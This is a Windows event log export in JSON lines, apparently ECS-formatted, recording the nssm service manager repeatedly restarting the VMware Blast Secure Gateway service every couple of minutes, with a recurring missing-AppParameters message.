{"@timestamp":1646764467767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162599}}
{"@timestamp":1646764467769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157688","0"]}}},"module":"Application","provider":"nssm","sequence":162600}}
{"@timestamp":1646764467770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157688","157688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162601}}
{"@timestamp":1646764467788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162602}}
{"@timestamp":1646764467788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162603}}
{"@timestamp":1646764467789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162604}}
{"@timestamp":1646764467790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162605}}
{"@timestamp":1646764596435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162606}}
{"@timestamp":1646764596436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162607}}
{"@timestamp":1646764596437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158948","0"]}}},"module":"Application","provider":"nssm","sequence":162608}}
{"@timestamp":1646764596437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158948","158948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162609}}
{"@timestamp":1646764596453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162610}}
{"@timestamp":1646764596454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162611}}
{"@timestamp":1646764596454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162612}}
{"@timestamp":1646764596455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162613}}
{"@timestamp":1646764724822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162614}}
{"@timestamp":1646764724822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162615}}
{"@timestamp":1646764724824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158748","0"]}}},"module":"Application","provider":"nssm","sequence":162616}}
{"@timestamp":1646764724824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158748","158748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162617}}
{"@timestamp":1646764724841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162618}}
{"@timestamp":1646764724841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162619}}
{"@timestamp":1646764724842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162620}}
{"@timestamp":1646764724843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162621}}
{"@timestamp":1646764853390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162622}}
{"@timestamp":1646764853391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162623}}
{"@timestamp":1646764853392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","4808","0"]}}},"module":"Application","provider":"nssm","sequence":162624}}
{"@timestamp":1646764853393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["4808","4808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162625}}
{"@timestamp":1646764853410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162626}}
{"@timestamp":1646764853411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162627}}
{"@timestamp":1646764853411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162628}}
{"@timestamp":1646764853412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162629}}
{"@timestamp":1646764982115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162630}}
{"@timestamp":1646764982117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162631}}
{"@timestamp":1646764982118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156216","0"]}}},"module":"Application","provider":"nssm","sequence":162632}}
{"@timestamp":1646764982119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156216","156216","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162633}}
{"@timestamp":1646764982134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162634}}
{"@timestamp":1646764982135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162635}}
{"@timestamp":1646764982136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162636}}
{"@timestamp":1646764982136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162637}}
{"@timestamp":1646765110570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162638}}
{"@timestamp":1646765110571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162639}}
{"@timestamp":1646765110572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157784","0"]}}},"module":"Application","provider":"nssm","sequence":162640}}
{"@timestamp":1646765110572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157784","157784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162641}}
{"@timestamp":1646765110589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162642}}
{"@timestamp":1646765110589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162643}}
{"@timestamp":1646765110590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162644}}
{"@timestamp":1646765110591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162645}}
{"@timestamp":1646765239108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162646}}
{"@timestamp":1646765239109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162647}}
{"@timestamp":1646765239109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159484","0"]}}},"module":"Application","provider":"nssm","sequence":162648}}
{"@timestamp":1646765239110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159484","159484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162649}}
{"@timestamp":1646765239127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162650}}
{"@timestamp":1646765239127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162651}}
{"@timestamp":1646765239128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162652}}
{"@timestamp":1646765239129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162653}}
{"@timestamp":1646765367677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162654}}
{"@timestamp":1646765367679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162655}}
{"@timestamp":1646765367681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159060","0"]}}},"module":"Application","provider":"nssm","sequence":162656}}
{"@timestamp":1646765367682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159060","159060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162657}}
{"@timestamp":1646765367698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162658}}
{"@timestamp":1646765367699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162659}}
{"@timestamp":1646765367699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162660}}
{"@timestamp":1646765367700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162661}}
{"@timestamp":1646765496073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162662}}
{"@timestamp":1646765496074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162663}}
{"@timestamp":1646765496075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159596","0"]}}},"module":"Application","provider":"nssm","sequence":162664}}
{"@timestamp":1646765496076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159596","159596","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162665}}
{"@timestamp":1646765496091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162666}}
{"@timestamp":1646765496092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162667}}
{"@timestamp":1646765496092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162668}}
{"@timestamp":1646765496093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162669}}
{"@timestamp":1646765624465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162670}}
{"@timestamp":1646765624465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162671}}
{"@timestamp":1646765624466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157796","0"]}}},"module":"Application","provider":"nssm","sequence":162672}}
{"@timestamp":1646765624467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157796","157796","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162673}}
{"@timestamp":1646765624484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162674}}
{"@timestamp":1646765624484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162675}}
{"@timestamp":1646765624485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162676}}
{"@timestamp":1646765624485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162677}}
{"@timestamp":1646765752855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162678}}
{"@timestamp":1646765752856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162679}}
{"@timestamp":1646765752857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159312","0"]}}},"module":"Application","provider":"nssm","sequence":162680}}
{"@timestamp":1646765752857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159312","159312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162681}}
{"@timestamp":1646765752873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162682}}
{"@timestamp":1646765752874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162683}}
{"@timestamp":1646765752874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162684}}
{"@timestamp":1646765752875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162685}}
{"@timestamp":1646765881233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162686}}
{"@timestamp":1646765881236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162687}}
{"@timestamp":1646765881236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157996","0"]}}},"module":"Application","provider":"nssm","sequence":162688}}
{"@timestamp":1646765881237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157996","157996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162689}}
{"@timestamp":1646765881253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162690}}
{"@timestamp":1646765881253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162691}}
{"@timestamp":1646765881254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162692}}
{"@timestamp":1646765881255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162693}}
{"@timestamp":1646766009621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162694}}
{"@timestamp":1646766009622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162695}}
{"@timestamp":1646766009623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159496","0"]}}},"module":"Application","provider":"nssm","sequence":162696}}
{"@timestamp":1646766009624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159496","159496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162697}}
{"@timestamp":1646766009640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162698}}
{"@timestamp":1646766009641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162699}}
{"@timestamp":1646766009641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162700}}
{"@timestamp":1646766009642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162701}}
{"@timestamp":1646766138173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162702}}
{"@timestamp":1646766138176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162703}}
